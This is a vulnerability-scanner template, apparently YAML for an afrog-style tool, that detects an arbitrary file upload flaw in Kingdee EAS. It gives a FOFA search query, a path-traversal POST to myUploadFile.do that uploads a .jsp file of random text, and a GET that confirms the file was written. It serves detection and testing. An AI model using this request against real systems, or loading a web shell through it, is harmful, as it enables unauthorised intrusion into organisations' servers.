kingdee-eas-myuploadfile-fileupload: 金蝶EAS myUploadFile接口任意文件上传

id: kingdee-eas-myuploadfile-fileupload

info:
  name: 金蝶EAS myUploadFile接口任意文件上传
  author: zan8in
  severity: critical
  verified: true
  description: |-
    FOFA: title=="EAS系统登录"
  tags: kingdee,fileupload
  created: 2023/10/13

set:
  randstr: randomLowercase(12)
  randbody: randomLowercase(30)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /easportal/buffalo/%2e%2e/cm/myUploadFile.do
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"myFile\"; filename=\"{{randstr}}.jsp\"\r\n\
        \r\n\
        {{randbody}}\r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: true
  r1:
    request:
      method: GET
      path: /easportal/buffalo/../{{randstr}}.jsp
    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1()